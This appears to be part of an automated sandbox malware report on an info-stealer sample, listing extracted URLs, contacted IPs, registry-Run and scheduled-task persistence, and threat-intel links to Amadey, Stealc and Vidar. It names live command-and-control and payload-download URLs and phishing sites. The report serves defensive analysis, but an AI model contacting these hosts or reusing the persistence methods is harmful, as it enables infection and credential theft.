https://google-ohttp-relay-join.fastly-edge.com/8Q	chrome.exe, 0000000E.00000003.2111473919.00000B6C014AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phps	cee706a53f.exe, 0000000B.00000002.2115108597.0000000001340000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.2428473626.00000000017CF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=enahh	chrome.exe, 0000000E.00000003.2180517325.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2180042651.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2214723208.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.2097290868.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6248	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.2094379479.0000000004B41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpc	cee706a53f.exe, 0000000B.00000002.2115108597.0000000001340000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000C.00000002.2094379479.0000000004C96000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 0000000E.00000003.2214723208.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000C.00000002.2094379479.0000000004C96000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 0000000E.00000003.2214595657.00005C6C00FEC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chromesuggestionsJK	chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.2097290868.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.103/steam/random.exe395d7	skotes.exe, 00000008.00000002.2697000883.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.google.com/chrome/?p=blockedb	chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tls-tunnel-check.googlezip.net/connect2	chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/~F	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.LR	powershell.exe, 0000000C.00000002.2094379479.0000000004DAC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000C.00000002.2094379479.0000000004C96000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 0000000E.00000003.2180517325.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2180042651.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2214723208.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/;L	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/LB	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/b	chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/258207403	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/%L	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3623	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3625	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3624	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php$v8	skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/FB	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5007	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3862	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 0000000E.00000003.2180463648.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2190589754.00005C6C00FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2214524458.00005C6C01214000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2187561460.00005C6C01214000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2215947800.00005C6C00680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2180405751.00005C6C00FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2221611546.00005C6C023AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2221825591.00005C6C00FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2214595657.00005C6C00FEC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/xJ	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpD	skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37:	cee706a53f.exe, 0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-safebrowsing.fastly-edge.com/https://google-ohttp-relay-safebrowsing.fast	chrome.exe, 0000000E.00000003.2116472703.00000B6C0167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2116537615.00000B6C01680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 0000000E.00000003.2180517325.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2180042651.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2214723208.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/xB	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpL	skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/6B	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Control_Notice_MPArch_M1_XS_Delay_GA4Kids_Beta_20230	chrome.exe, 0000000E.00000003.2114092810.00000B6C0156C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php1.0	skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4384	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/test/so.ps1t	skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215	8a145ab7b3.exe, 0000000A.00000002.2065676534.0000000001A13000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://google-ohttp-relay-join.fastly-edge.com/5L	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://nonexistent.googlezip.net/	chrome.exe, 0000000E.00000003.2097771171.00000B6C0125C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php0	skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/I	chrome.exe, 0000000E.00000003.2112716037.00000B6C01530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2113006786.00000B6C0153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2112819126.00000B6C01534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2113166040.00000B6C0154C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/iI	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7604	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7761	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7760	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5901	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/iB	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3965	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6439	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7406	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/search	chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.46	youtube.com	United States	15169	GOOGLEUS	false
142.250.186.78	www3.l.google.com	United States	15169	GOOGLEUS	false
142.250.185.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.16.206	unknown	United States	15169	GOOGLEUS	false
172.217.18.14	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.174	play.google.com	United States	15169	GOOGLEUS	false
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521602
Start date and time:	2024-09-29 01:00:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/19@16/13
EGA Information:	Successful, ratio: 9.1%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.185.195, 142.250.184.206, 108.177.15.84, 199.232.214.172, 184.28.90.27, 34.104.35.123, 142.250.181.227, 142.250.185.67, 142.250.186.170, 142.250.186.138, 142.250.185.170, 142.250.186.74, 142.250.181.234, 142.250.186.106, 216.58.206.42, 142.250.186.42, 172.217.16.202, 142.250.185.202, 172.217.18.106, 142.250.185.138, 142.250.185.74, 172.217.16.138, 172.217.18.10, 216.58.206.74, 142.250.184.202, 142.250.185.106, 142.250.184.234, 142.250.74.202, 142.250.185.234, 142.250.186.99
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, www.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target 8a145ab7b3.exe, PID 2708 because there are no executed function
Execution Graph export aborted for target 8a145ab7b3.exe, PID 6724 because there are no executed function
Execution Graph export aborted for target cee706a53f.exe, PID 2100 because there are no executed function
Execution Graph export aborted for target cee706a53f.exe, PID 6960 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7640 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7836 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7920 because it is empty
Execution Graph export aborted for target skotes.exe, PID 1372 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7860 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7972 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
01:01:14	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
01:02:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8a145ab7b3.exe C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe
01:02:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run cee706a53f.exe C:\Users\user\1000026002\cee706a53f.exe
01:02:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8a145ab7b3.exe C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe
01:02:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run cee706a53f.exe C:\Users\user\1000026002\cee706a53f.exe
19:02:01	API Interceptor	682888x Sleep call for process: skotes.exe modified
19:02:15	API Interceptor	66x Sleep call for process: cee706a53f.exe modified
19:02:17	API Interceptor	8x Sleep call for process: powershell.exe modified
19:02:25	API Interceptor	2x Sleep call for process: svchost.exe modified
19:02:42	API Interceptor	161x Sleep call for process: 8a145ab7b3.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	yjzllYsjlU.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	p3aYwXKO5T.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
google.com	https://portal-treezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	142.250.186.132
	http://pub-3019d8288f8446f9972a55bb08a4c968.r2.dev/lkjasdf.html	Get hash	malicious	HTMLPhisher	Browse	172.217.16.132
	https://home-102533.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	142.250.185.68
	http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	142.250.184.228
	http://dones9.wixsite.com/my-sitecvfc	Get hash	malicious	Unknown	Browse	142.250.185.78
	http://virasimex.com/wpadmin	Get hash	malicious	HTMLPhisher	Browse	142.250.186.164
	http://ivo-telegram.org/	Get hash	malicious	Unknown	Browse	216.58.206.68
	http://telegriame.club/	Get hash	malicious	Telegram Phisher	Browse	142.250.186.36
	http://telegrvams.club/	Get hash	malicious	Telegram Phisher	Browse	142.250.185.132
	https://btinternet-105262.weeblysite.com/	Get hash	malicious	Unknown	Browse	142.250.186.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://portal-treezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	20.114.59.183
	http://pub-3019d8288f8446f9972a55bb08a4c968.r2.dev/lkjasdf.html	Get hash	malicious	HTMLPhisher	Browse	20.114.59.183
	https://home-102533.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	20.114.59.183
	http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	20.114.59.183
	http://virasimex.com/wpadmin	Get hash	malicious	HTMLPhisher	Browse	20.114.59.183
